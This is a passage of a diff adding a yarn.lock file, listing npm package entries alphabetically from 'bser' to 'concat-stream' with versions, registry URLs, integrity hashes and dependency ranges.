+ electron-to-chromium "^1.3.723"
+ escalade "^3.1.1"
+ node-releases "^1.1.71"
+
+bser@2.1.1:
+ version "2.1.1"
+ resolved "https://registry.yarnpkg.com/bser/-/bser-2.1.1.tgz#e6787da20ece9d07998533cfd9de6f5c38f4bc05"
+ integrity sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==
+ dependencies:
+ node-int64 "^0.4.0"
+
+buffer-from@^1.0.0:
+ version "1.1.1"
+ resolved "https://registry.yarnpkg.com/buffer-from/-/buffer-from-1.1.1.tgz#32713bc028f75c02fdb710d7c7bcec1f2c6070ef"
+ integrity sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==
+
+buffer-xor@^1.0.3:
+ version "1.0.3"
+ resolved "https://registry.yarnpkg.com/buffer-xor/-/buffer-xor-1.0.3.tgz#26e61ed1422fb70dd42e6e36729ed51d855fe8d9"
+ integrity sha1-JuYe0UIvtw3ULm42cp7VHYVf6Nk=
+
+buffer@^4.3.0:
+ version "4.9.2"
+ resolved "https://registry.yarnpkg.com/buffer/-/buffer-4.9.2.tgz#230ead344002988644841ab0244af8c44bbe3ef8"
+ integrity sha512-xq+q3SRMOxGivLhBNaUdC64hDTQwejJ+H0T/NB1XMtTVEwNTrfFF3gAxiyW0Bu/xWEGhjVKgUcMhCrUy2+uCWg==
+ dependencies:
+ base64-js "^1.0.2"
+ ieee754 "^1.1.4"
+ isarray "^1.0.0"
+
+builtin-status-codes@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/builtin-status-codes/-/builtin-status-codes-3.0.0.tgz#85982878e21b98e1c66425e03d0174788f569ee8"
+ integrity sha1-hZgoeOIbmOHGZCXgPQF0eI9Wnug=
+
+bytes@3.1.0:
+ version "3.1.0"
+ resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.1.0.tgz#f6cf7933a360e0588fa9fde85651cdc7f805d1f6"
+ integrity sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==
+
+cacache@^12.0.2:
+ version "12.0.4"
+ resolved "https://registry.yarnpkg.com/cacache/-/cacache-12.0.4.tgz#668bcbd105aeb5f1d92fe25570ec9525c8faa40c"
+ integrity sha512-a0tMB40oefvuInr4Cwb3GerbL9xTj1D5yg0T5xrjGCGyfvbxseIXX7BAO/u/hIXdafzOI5JC3wDwHyf24buOAQ==
+ dependencies:
+ bluebird "^3.5.5"
+ chownr "^1.1.1"
+ figgy-pudding "^3.5.1"
+ glob "^7.1.4"
+ graceful-fs "^4.1.15"
+ infer-owner "^1.0.3"
+ lru-cache "^5.1.1"
+ mississippi "^3.0.0"
+ mkdirp "^0.5.1"
+ move-concurrently "^1.0.1"
+ promise-inflight "^1.0.1"
+ rimraf "^2.6.3"
+ ssri "^6.0.1"
+ unique-filename "^1.1.1"
+ y18n "^4.0.0"
+
+cacache@^15.0.5:
+ version "15.2.0"
+ resolved "https://registry.yarnpkg.com/cacache/-/cacache-15.2.0.tgz#73af75f77c58e72d8c630a7a2858cb18ef523389"
+ integrity sha512-uKoJSHmnrqXgthDFx/IU6ED/5xd+NNGe+Bb+kLZy7Ku4P+BaiWEUflAKPZ7eAzsYGcsAGASJZsybXp+quEcHTw==
+ dependencies:
+ "@npmcli/move-file" "^1.0.1"
+ chownr "^2.0.0"
+ fs-minipass "^2.0.0"
+ glob "^7.1.4"
+ infer-owner "^1.0.4"
+ lru-cache "^6.0.0"
+ minipass "^3.1.1"
+ minipass-collect "^1.0.2"
+ minipass-flush "^1.0.5"
+ minipass-pipeline "^1.2.2"
+ mkdirp "^1.0.3"
+ p-map "^4.0.0"
+ promise-inflight "^1.0.1"
+ rimraf "^3.0.2"
+ ssri "^8.0.1"
+ tar "^6.0.2"
+ unique-filename "^1.1.1"
+
+cache-base@^1.0.1:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/cache-base/-/cache-base-1.0.1.tgz#0a7f46416831c8b662ee36fe4e7c59d76f666ab2"
+ integrity sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==
+ dependencies:
+ collection-visit "^1.0.0"
+ component-emitter "^1.2.1"
+ get-value "^2.0.6"
+ has-value "^1.0.0"
+ isobject "^3.0.1"
+ set-value "^2.0.0"
+ to-object-path "^0.3.0"
+ union-value "^1.0.0"
+ unset-value "^1.0.0"
+
+call-bind@^1.0.0, call-bind@^1.0.2:
+ version "1.0.2"
+ resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.2.tgz#b1d4e89e688119c3c9a903ad30abb2f6a919be3c"
+ integrity sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==
+ dependencies:
+ function-bind "^1.1.1"
+ get-intrinsic "^1.0.2"
+
+call-me-maybe@^1.0.1:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/call-me-maybe/-/call-me-maybe-1.0.1.tgz#26d208ea89e37b5cbde60250a15f031c16a4d66b"
+ integrity sha1-JtII6onje1y95gJQoV8DHBak1ms=
+
+caller-callsite@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/caller-callsite/-/caller-callsite-2.0.0.tgz#847e0fce0a223750a9a027c54b33731ad3154134"
+ integrity sha1-hH4PzgoiN1CpoCfFSzNzGtMVQTQ=
+ dependencies:
+ callsites "^2.0.0"
+
+caller-path@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/caller-path/-/caller-path-2.0.0.tgz#468f83044e369ab2010fac5f06ceee15bb2cb1f4"
+ integrity sha1-Ro+DBE42mrIBD6xfBs7uFbsssfQ=
+ dependencies:
+ caller-callsite "^2.0.0"
+
+callsites@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/callsites/-/callsites-2.0.0.tgz#06eb84f00eea413da86affefacbffb36093b3c50"
+ integrity sha1-BuuE8A7qQT2oav/vrL/7Ngk7PFA=
+
+callsites@^3.0.0:
+ version "3.1.0"
+ resolved "https://registry.yarnpkg.com/callsites/-/callsites-3.1.0.tgz#b3630abd8943432f54b3f0519238e33cd7df2f73"
+ integrity sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==
+
+camel-case@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/camel-case/-/camel-case-3.0.0.tgz#ca3c3688a4e9cf3a4cda777dc4dcbc713249cf73"
+ integrity sha1-yjw2iKTpzzpM2nd9xNy8cTJJz3M=
+ dependencies:
+ no-case "^2.2.0"
+ upper-case "^1.1.1"
+
+camel-case@^4.1.1:
+ version "4.1.2"
+ resolved "https://registry.yarnpkg.com/camel-case/-/camel-case-4.1.2.tgz#9728072a954f805228225a6deea6b38461e1bd5a"
+ integrity sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==
+ dependencies:
+ pascal-case "^3.1.2"
+ tslib "^2.0.3"
+
+camelcase-css@2.0.1:
+ version "2.0.1"
+ resolved "https://registry.yarnpkg.com/camelcase-css/-/camelcase-css-2.0.1.tgz#ee978f6947914cc30c6b44741b6ed1df7f043fd5"
+ integrity sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==
+
+camelcase-keys@^2.0.0:
+ version "2.1.0"
+ resolved "https://registry.yarnpkg.com/camelcase-keys/-/camelcase-keys-2.1.0.tgz#308beeaffdf28119051efa1d932213c91b8f92e7"
+ integrity sha1-MIvur/3ygRkFHvodkyITyRuPkuc=
+ dependencies:
+ camelcase "^2.0.0"
+ map-obj "^1.0.0"
+
+camelcase@^2.0.0:
+ version "2.1.1"
+ resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-2.1.1.tgz#7c1d16d679a1bbe59ca02cacecfb011e201f5a1f"
+ integrity sha1-fB0W1nmhu+WcoCys7PsBHiAfWh8=
+
+camelcase@^5.0.0, camelcase@^5.3.1:
+ version "5.3.1"
+ resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-5.3.1.tgz#e3c9b31569e106811df242f715725a1f4c494320"
+ integrity sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==
+
+caniuse-lite@^1.0.30001109, caniuse-lite@^1.0.30001125, caniuse-lite@^1.0.30001219:
+ version "1.0.30001230"
+ resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001230.tgz#8135c57459854b2240b57a4a6786044bdc5a9f71"
+ integrity sha512-5yBd5nWCBS+jWKTcHOzXwo5xzcj4ePE/yjtkZyUV1BTUmrBaA9MRGC+e7mxnqXSA90CmCA8L3eKLaSUkt099IQ==
+
+capture-exit@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/capture-exit/-/capture-exit-2.0.0.tgz#fb953bfaebeb781f62898239dabb426d08a509a4"
+ integrity sha512-PiT/hQmTonHhl/HFGN+Lx3JJUznrVYJ3+AQsnthneZbvW7x+f08Tk7yLJTLEOUvBTbduLeeBkxEaYXUOUrRq6g==
+ dependencies:
+ rsvp "^4.8.4"
+
+case-sensitive-paths-webpack-plugin@^2.3.0:
+ version "2.4.0"
+ resolved "https://registry.yarnpkg.com/case-sensitive-paths-webpack-plugin/-/case-sensitive-paths-webpack-plugin-2.4.0.tgz#db64066c6422eed2e08cc14b986ca43796dbc6d4"
+ integrity sha512-roIFONhcxog0JSSWbvVAh3OocukmSgpqOH6YpMkCvav/ySIV3JKg4Dc8vYtQjYi/UxpNE36r/9v+VqTQqgkYmw==
+
+caseless@~0.12.0:
+ version "0.12.0"
+ resolved "https://registry.yarnpkg.com/caseless/-/caseless-0.12.0.tgz#1b681c21ff84033c826543090689420d187151dc"
+ integrity sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=
+
+ccount@^1.0.0:
+ version "1.1.0"
+ resolved "https://registry.yarnpkg.com/ccount/-/ccount-1.1.0.tgz#246687debb6014735131be8abab2d93898f8d043"
+ integrity sha512-vlNK021QdI7PNeiUh/lKkC/mNHHfV0m/Ad5JoI0TYtlBnJAslM/JIkm/tGC88bkLIwO6OQ5uV6ztS6kVAtCDlg==
+
+chalk@2.4.2, chalk@^2.0.0, chalk@^2.4.1, chalk@^2.4.2:
+ version "2.4.2"
+ resolved "https://registry.yarnpkg.com/chalk/-/chalk-2.4.2.tgz#cd42541677a54333cf541a49108c1432b44c9424"
+ integrity sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==
+ dependencies:
+ ansi-styles "^3.2.1"
+ escape-string-regexp "^1.0.5"
+ supports-color "^5.3.0"
+
+chalk@^1.1.1:
+ version "1.1.3"
+ resolved "https://registry.yarnpkg.com/chalk/-/chalk-1.1.3.tgz#a8115c55e4a702fe4d150abd3872822a7e09fc98"
+ integrity sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=
+ dependencies:
+ ansi-styles "^2.2.1"
+ escape-string-regexp "^1.0.2"
+ has-ansi "^2.0.0"
+ strip-ansi "^3.0.0"
+ supports-color "^2.0.0"
+
+chalk@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/chalk/-/chalk-3.0.0.tgz#3f73c2bf526591f574cc492c51e2456349f844e4"
+ integrity sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==
+ dependencies:
+ ansi-styles "^4.1.0"
+ supports-color "^7.1.0"
+
+chalk@^4.0.0, chalk@^4.1.0:
+ version "4.1.1"
+ resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.1.1.tgz#c80b3fab28bf6371e6863325eee67e618b77e6ad"
+ integrity sha512-diHzdDKxcU+bAsUboHLPEDQiw0qEe0qd7SYUn3HgcFlWgbDcfLGswOHYeGrHKzG9z6UYf01d9VFMfZxPM1xZSg==
+ dependencies:
+ ansi-styles "^4.1.0"
+ supports-color "^7.1.0"
+
+change-case@^3.0.1:
+ version "3.1.0"
+ resolved "https://registry.yarnpkg.com/change-case/-/change-case-3.1.0.tgz#0e611b7edc9952df2e8513b27b42de72647dd17e"
+ integrity sha512-2AZp7uJZbYEzRPsFoa+ijKdvp9zsrnnt6+yFokfwEpeJm0xuJDVoxiRCAaTzyJND8GJkofo2IcKWaUZ/OECVzw==
+ dependencies:
+ camel-case "^3.0.0"
+ constant-case "^2.0.0"
+ dot-case "^2.1.0"
+ header-case "^1.0.0"
+ is-lower-case "^1.1.0"
+ is-upper-case "^1.1.0"
+ lower-case "^1.1.1"
+ lower-case-first "^1.0.0"
+ no-case "^2.3.2"
+ param-case "^2.1.0"
+ pascal-case "^2.0.0"
+ path-case "^2.1.0"
+ sentence-case "^2.1.0"
+ snake-case "^2.1.0"
+ swap-case "^1.1.0"
+ title-case "^2.1.0"
+ upper-case "^1.1.1"
+ upper-case-first "^1.1.0"
+
+character-entities-legacy@^1.0.0:
+ version "1.1.4"
+ resolved "https://registry.yarnpkg.com/character-entities-legacy/-/character-entities-legacy-1.1.4.tgz#94bc1845dce70a5bb9d2ecc748725661293d8fc1"
+ integrity sha512-3Xnr+7ZFS1uxeiUDvV02wQ+QDbc55o97tIV5zHScSPJpcLm/r0DFPcoY3tYRp+VZukxuMeKgXYmsXQHO05zQeA==
+
+character-entities@^1.0.0:
+ version "1.2.4"
+ resolved "https://registry.yarnpkg.com/character-entities/-/character-entities-1.2.4.tgz#e12c3939b7eaf4e5b15e7ad4c5e28e1d48c5b16b"
+ integrity sha512-iBMyeEHxfVnIakwOuDXpVkc54HijNgCyQB2w0VfGQThle6NXn50zU6V/u+LDhxHcDUPojn6Kpga3PTAD8W1bQw==
+
+character-parser@^2.2.0:
+ version "2.2.0"
+ resolved "https://registry.yarnpkg.com/character-parser/-/character-parser-2.2.0.tgz#c7ce28f36d4bcd9744e5ffc2c5fcde1c73261fc0"
+ integrity sha1-x84o821LzZdE5f/CxfzeHHMmH8A=
+ dependencies:
+ is-regex "^1.0.3"
+
+character-reference-invalid@^1.0.0:
+ version "1.1.4"
+ resolved "https://registry.yarnpkg.com/character-reference-invalid/-/character-reference-invalid-1.1.4.tgz#083329cda0eae272ab3dbbf37e9a382c13af1560"
+ integrity sha512-mKKUkUbhPpQlCOfIuZkvSEgktjPFIsZKRRbC6KWVEMvlzblj3i3asQv5ODsrwt0N3pHAEvjP8KTQPHkp0+6jOg==
+
+chokidar@^2.1.8:
+ version "2.1.8"
+ resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-2.1.8.tgz#804b3a7b6a99358c3c5c61e71d8728f041cff917"
+ integrity sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==
+ dependencies:
+ anymatch "^2.0.0"
+ async-each "^1.0.1"
+ braces "^2.3.2"
+ glob-parent "^3.1.0"
+ inherits "^2.0.3"
+ is-binary-path "^1.0.0"
+ is-glob "^4.0.0"
+ normalize-path "^3.0.0"
+ path-is-absolute "^1.0.0"
+ readdirp "^2.2.1"
+ upath "^1.1.1"
+ optionalDependencies:
+ fsevents "^1.2.7"
+
+chokidar@^3.4.1, chokidar@^3.4.2:
+ version "3.5.1"
+ resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-3.5.1.tgz#ee9ce7bbebd2b79f49f304799d5468e31e14e68a"
+ integrity sha512-9+s+Od+W0VJJzawDma/gvBNQqkTiqYTWLuZoyAsivsI4AaWTCzHG06/TMjsf1cYe9Cb97UCEhjz7HvnPk2p/tw==
+ dependencies:
+ anymatch "~3.1.1"
+ braces "~3.0.2"
+ glob-parent "~5.1.0"
+ is-binary-path "~2.1.0"
+ is-glob "~4.0.1"
+ normalize-path "~3.0.0"
+ readdirp "~3.5.0"
+ optionalDependencies:
+ fsevents "~2.3.1"
+
+chownr@^1.1.1:
+ version "1.1.4"
+ resolved "https://registry.yarnpkg.com/chownr/-/chownr-1.1.4.tgz#6fc9d7b42d32a583596337666e7d08084da2cc6b"
+ integrity sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==
+
+chownr@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/chownr/-/chownr-2.0.0.tgz#15bfbe53d2eab4cf70f18a8cd68ebe5b3cb1dece"
+ integrity sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==
+
+chrome-trace-event@^1.0.2:
+ version "1.0.3"
+ resolved "https://registry.yarnpkg.com/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz#1015eced4741e15d06664a957dbbf50d041e26ac"
+ integrity sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==
+
+ci-info@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/ci-info/-/ci-info-2.0.0.tgz#67a9e964be31a51e15e5010d58e6f12834002f46"
+ integrity sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==
+
+cipher-base@^1.0.0, cipher-base@^1.0.1, cipher-base@^1.0.3:
+ version "1.0.4"
+ resolved "https://registry.yarnpkg.com/cipher-base/-/cipher-base-1.0.4.tgz#8760e4ecc272f4c363532f926d874aae2c1397de"
+ integrity sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q==
+ dependencies:
+ inherits "^2.0.1"
+ safe-buffer "^5.0.1"
+
+class-utils@^0.3.5:
+ version "0.3.6"
+ resolved "https://registry.yarnpkg.com/class-utils/-/class-utils-0.3.6.tgz#f93369ae8b9a7ce02fd41faad0ca83033190c463"
+ integrity sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==
+ dependencies:
+ arr-union "^3.1.0"
+ define-property "^0.2.5"
+ isobject "^3.0.0"
+ static-extend "^0.1.1"
+
+classnames@^2.2.5:
+ version "2.3.1"
+ resolved "https://registry.yarnpkg.com/classnames/-/classnames-2.3.1.tgz#dfcfa3891e306ec1dad105d0e88f4417b8535e8e"
+ integrity sha512-OlQdbZ7gLfGarSqxesMesDa5uz7KFbID8Kpq/SxIoNGDqY8lSYs0D+hhtBXhcdB3rcbXArFr7vlHheLk1voeNA==
+
+clean-css@^4.2.3:
+ version "4.2.3"
+ resolved "https://registry.yarnpkg.com/clean-css/-/clean-css-4.2.3.tgz#507b5de7d97b48ee53d84adb0160ff6216380f78"
+ integrity sha512-VcMWDN54ZN/DS+g58HYL5/n4Zrqe8vHJpGA8KdgUXFU4fuP/aHNw8eld9SyEIyabIMJX/0RaY/fplOo5hYLSFA==
+ dependencies:
+ source-map "~0.6.0"
+
+clean-stack@^2.0.0:
+ version "2.2.0"
+ resolved "https://registry.yarnpkg.com/clean-stack/-/clean-stack-2.2.0.tgz#ee8472dbb129e727b31e8a10a427dee9dfe4008b"
+ integrity sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==
+
+cli-boxes@^2.2.0:
+ version "2.2.1"
+ resolved "https://registry.yarnpkg.com/cli-boxes/-/cli-boxes-2.2.1.tgz#ddd5035d25094fce220e9cab40a45840a440318f"
+ integrity sha512-y4coMcylgSCdVinjiDBuR8PCC2bLjyGTwEmPb9NHR/QaNU6EUOXcTY/s6VjGMD6ENSEaeQYHCY0GNGS5jfMwPw==
+
+cli-table3@0.6.0:
+ version "0.6.0"
+ resolved "https://registry.yarnpkg.com/cli-table3/-/cli-table3-0.6.0.tgz#b7b1bc65ca8e7b5cef9124e13dc2b21e2ce4faee"
+ integrity sha512-gnB85c3MGC7Nm9I/FkiasNBOKjOiO1RNuXXarQms37q4QMpWdlbBgD/VnOStA2faG1dpXMv31RFApjX1/QdgWQ==
+ dependencies:
+ object-assign "^4.1.0"
+ string-width "^4.2.0"
+ optionalDependencies:
+ colors "^1.1.2"
+
+clipboard@^2.0.0:
+ version "2.0.8"
+ resolved "https://registry.yarnpkg.com/clipboard/-/clipboard-2.0.8.tgz#ffc6c103dd2967a83005f3f61976aa4655a4cdba"
+ integrity sha512-Y6WO0unAIQp5bLmk1zdThRhgJt/x3ks6f30s3oE3H1mgIEU33XyQjEf8gsf6DxC7NPX8Y1SsNWjUjL/ywLnnbQ==
+ dependencies:
+ good-listener "^1.2.2"
+ select "^1.1.2"
+ tiny-emitter "^2.0.0"
+
+cliui@^5.0.0:
+ version "5.0.0"
+ resolved "https://registry.yarnpkg.com/cliui/-/cliui-5.0.0.tgz#deefcfdb2e800784aa34f46fa08e06851c7bbbc5"
+ integrity sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==
+ dependencies:
+ string-width "^3.1.0"
+ strip-ansi "^5.2.0"
+ wrap-ansi "^5.1.0"
+
+clone-deep@^4.0.1:
+ version "4.0.1"
+ resolved "https://registry.yarnpkg.com/clone-deep/-/clone-deep-4.0.1.tgz#c19fd9bdbbf85942b4fd979c84dcf7d5f07c2387"
+ integrity sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==
+ dependencies:
+ is-plain-object "^2.0.4"
+ kind-of "^6.0.2"
+ shallow-clone "^3.0.0"
+
+clone@^2.1.2:
+ version "2.1.2"
+ resolved "https://registry.yarnpkg.com/clone/-/clone-2.1.2.tgz#1b7f4b9f591f1e8f83670401600345a02887435f"
+ integrity sha1-G39Ln1kfHo+DZwQBYANFoCiHQ18=
+
+code-point-at@^1.0.0:
+ version "1.1.0"
+ resolved "https://registry.yarnpkg.com/code-point-at/-/code-point-at-1.1.0.tgz#0d070b4d043a5bea33a2f1a40e2edb3d9a4ccf77"
+ integrity sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=
+
+collapse-white-space@^1.0.2:
+ version "1.0.6"
+ resolved "https://registry.yarnpkg.com/collapse-white-space/-/collapse-white-space-1.0.6.tgz#e63629c0016665792060dbbeb79c42239d2c5287"
+ integrity sha512-jEovNnrhMuqyCcjfEJA56v0Xq8SkIoPKDyaHahwo3POf4qcSXqMYuwNcOTzp74vTsR9Tn08z4MxWqAhcekogkQ==
+
+collection-visit@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/collection-visit/-/collection-visit-1.0.0.tgz#4bc0373c164bc3291b4d368c829cf1a80a59dca0"
+ integrity sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=
+ dependencies:
+ map-visit "^1.0.0"
+ object-visit "^1.0.0"
+
+color-convert@^1.9.0:
+ version "1.9.3"
+ resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-1.9.3.tgz#bb71850690e1f136567de629d2d5471deda4c1e8"
+ integrity sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==
+ dependencies:
+ color-name "1.1.3"
+
+color-convert@^2.0.1:
+ version "2.0.1"
+ resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3"
+ integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==
+ dependencies:
+ color-name "~1.1.4"
+
+color-name@1.1.3:
+ version "1.1.3"
+ resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25"
+ integrity sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=
+
+color-name@~1.1.4:
+ version "1.1.4"
+ resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2"
+ integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
+
+colorette@^1.2.1, colorette@^1.2.2:
+ version "1.2.2"
+ resolved "https://registry.yarnpkg.com/colorette/-/colorette-1.2.2.tgz#cbcc79d5e99caea2dbf10eb3a26fd8b3e6acfa94"
+ integrity sha512-MKGMzyfeuutC/ZJ1cba9NqcNpfeqMUcYmyF1ZFY6/Cn7CNSAKx6a+s48sqLqyAiZuaP2TcqMhoo+dlwFnVxT9w==
+
+colors@^1.1.2:
+ version "1.4.0"
+ resolved "https://registry.yarnpkg.com/colors/-/colors-1.4.0.tgz#c50491479d4c1bdaed2c9ced32cf7c7dc2360f78"
+ integrity sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA==
+
+combined-stream@^1.0.6, combined-stream@^1.0.8, combined-stream@~1.0.6:
+ version "1.0.8"
+ resolved "https://registry.yarnpkg.com/combined-stream/-/combined-stream-1.0.8.tgz#c3d45a8b34fd730631a110a8a2520682b31d5a7f"
+ integrity sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==
+ dependencies:
+ delayed-stream "~1.0.0"
+
+comma-separated-tokens@^1.0.0:
+ version "1.0.8"
+ resolved "https://registry.yarnpkg.com/comma-separated-tokens/-/comma-separated-tokens-1.0.8.tgz#632b80b6117867a158f1080ad498b2fbe7e3f5ea"
+ integrity sha512-GHuDRO12Sypu2cV70d1dkA2EUmXHgntrzbpvOB+Qy+49ypNfGgFQIC2fhhXbnyrJRynDCAARsT7Ou0M6hirpfw==
+
+commander@^2.20.0:
+ version "2.20.3"
+ resolved "https://registry.yarnpkg.com/commander/-/commander-2.20.3.tgz#fd485e84c03eb4881c20722ba48035e8531aeb33"
+ integrity sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==
+
+commander@^4.1.1:
+ version "4.1.1"
+ resolved "https://registry.yarnpkg.com/commander/-/commander-4.1.1.tgz#9fd602bd936294e9e9ef46a3f4d6964044b18068"
+ integrity sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==
+
+commander@^6.2.1:
+ version "6.2.1"
+ resolved "https://registry.yarnpkg.com/commander/-/commander-6.2.1.tgz#0792eb682dfbc325999bb2b84fddddba110ac73c"
+ integrity sha512-U7VdrJFnJgo4xjrHpTzu0yrHPGImdsmD95ZlgYSEajAn2JKzDhDTPG9kBTefmObL2w/ngeZnilk+OV9CG3d7UA==
+
+commondir@^1.0.1:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/commondir/-/commondir-1.0.1.tgz#ddd800da0c66127393cca5950ea968a3aaf1253b"
+ integrity sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs=
+
+component-emitter@^1.2.1:
+ version "1.3.0"
+ resolved "https://registry.yarnpkg.com/component-emitter/-/component-emitter-1.3.0.tgz#16e4070fba8ae29b679f2215853ee181ab2eabc0"
+ integrity sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==
+
+compute-scroll-into-view@^1.0.17:
+ version "1.0.17"
+ resolved "https://registry.yarnpkg.com/compute-scroll-into-view/-/compute-scroll-into-view-1.0.17.tgz#6a88f18acd9d42e9cf4baa6bec7e0522607ab7ab"
+ integrity sha512-j4dx+Fb0URmzbwwMUrhqWM2BEWHdFGx+qZ9qqASHRPqvTYdqvWnHg0H1hIbcyLnvgnoNAVMlwkepyqM3DaIFUg==
+
+concat-map@0.0.1:
+ version "0.0.1"
+ resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b"
+ integrity sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=
+
+concat-stream@^1.5.0:
+ version "1.6.2"
